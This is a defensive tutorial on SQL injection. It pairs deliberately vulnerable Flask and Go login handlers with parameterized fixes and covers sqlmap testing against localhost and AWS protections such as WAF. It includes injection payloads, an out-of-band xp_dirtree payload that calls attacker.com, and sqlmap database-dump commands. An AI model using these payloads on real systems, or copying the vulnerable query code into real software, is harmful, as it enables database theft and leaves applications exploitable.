Skip to content
  • βœ… Explanation of SQL Injection and its types

  • 🐍 Flask and 🦫 Go vulnerable code examples

  • βš”οΈ Usage of sqlmap for testing

  • ☁️ How to prevent SQL Injection using AWS Security Services


πŸ›‘οΈ SQL Injection (SQLi) Tutorial

With Flask & Go Examples, sqlmap Testing, and AWS Security Setup


πŸ“Œ What is SQL Injection?

SQL Injection (SQLi) is a type of web attack where an attacker injects malicious SQL queries into an input field to manipulate or access sensitive database information.


πŸ” Types of SQL Injection (with Examples)

Type Description Example Payload
1️⃣ In-Band Result is returned in response ' OR '1'='1 --
2️⃣ Blind No direct result, use logic (true/false) ' AND 1=1 -- vs ' AND 1=2 --
3️⃣ Out-of-Band Uses external channels (e.g., DNS, HTTP) '; exec xp_dirtree '\\attacker.com\abc'

πŸ§ͺ Vulnerable Login Examples

🐍 Flask Example

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # ❌ Vulnerable query
    conn = sqlite3.connect('test.db')
    cursor = conn.cursor()
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    result = cursor.fetchone()
    return "Login Successful" if result else "Login Failed"

app.run(debug=True)

🦫 Go Example

package main

import (
    "database/sql"
    "fmt"
    "log"
    "net/http"
    _ "github.com/mattn/go-sqlite3"
)

func loginHandler(w http.ResponseWriter, r *http.Request) {
    username := r.FormValue("username")
    password := r.FormValue("password")

    // ❌ Vulnerable query
    db, _ := sql.Open("sqlite3", "./test.db")
    query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password)
    row := db.QueryRow(query)

    var user, pass string
    err := row.Scan(&user, &pass)
    if err == nil {
        fmt.Fprintln(w, "Login Successful")
    } else {
        fmt.Fprintln(w, "Login Failed")
    }
}

func main() {
    http.HandleFunc("/login", loginHandler)
    log.Fatal(http.ListenAndServe(":8080", nil))
}

βœ… Secure Versions

βœ”οΈ Flask (Safe)

cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))

βœ”οΈ Go (Safe)

stmt, _ := db.Prepare("SELECT * FROM users WHERE username = ? AND password = ?")
row := stmt.QueryRow(username, password)

πŸ§ͺ SQLMap for Automated Testing

πŸ”§ Install

sudo apt install sqlmap

πŸ” Test vulnerable Flask server

sqlmap -u "http://localhost:5000/login" --data="username=admin&password=admin" --batch

🎯 Example Commands

  • Dump DB:

    sqlmap -u "http://localhost:5000/login" --data="username=a&password=b" --dump
    
  • Show DB names:

    sqlmap -u "http://localhost:5000/login" --data="username=a&password=b" --dbs
    

You can test the Go app the same way on port 8080.


πŸ›‘οΈ Preventing SQL Injection with AWS Security Services

Now that your app is secure at the code level, let’s protect it at the infrastructure and cloud layer.


☁️ AWS Services to Prevent SQLi & Web Attacks

AWS Service Role
πŸ”₯ AWS WAF Blocks SQLi, XSS, CSRF, and common threats
πŸ•΅οΈ Amazon GuardDuty Detects threats and anomalies (e.g., SSRF attempts)
πŸ” AWS Secrets Manager Secures DB credentials (no hardcoded passwords)
πŸ“ˆ AWS CloudWatch Monitors logs, detects brute force attempts
πŸ“œ AWS CloudTrail Logs AWS API calls for auditing and detection
πŸ›‘οΈ AWS Shield DDoS protection (included with AWS WAF)
🧠 AWS Cognito Secure user auth, validation, and MFA

πŸ” Use AWS WAF for Web Protection

Attach WAF to:

  • ALB

  • API Gateway

  • CloudFront

Enable Managed Rulesets:

  • AWSManagedRulesSQLiRuleSet

  • AWSManagedRulesCommonRuleSet

  • AWSManagedRulesKnownBadInputsRuleSet


πŸ” Use Secrets Manager

  • Store DB credentials securely

  • Rotate secrets

  • Access via SDK, not hardcoded


πŸ“ˆ Monitor with GuardDuty + CloudWatch

  • GuardDuty β†’ anomaly detection (recon, credential abuse)

  • CloudWatch β†’ failed logins, slow queries, spikes in usage


🧰 Example Architecture:

User
 ↓
CloudFront (AWS WAF attached)
 ↓
Application Load Balancer
 ↓
Flask / Go App (Safe SQL Queries)
 ↓
Amazon RDS (Credentials via Secrets Manager)

βœ… Summary

Layer What to Do
App Code Use prepared statements / ORM
Web Protection Use AWS WAF + Shield
Secrets Use AWS Secrets Manager
Monitoring GuardDuty, CloudWatch, CloudTrail
Authentication Secure with AWS Cognito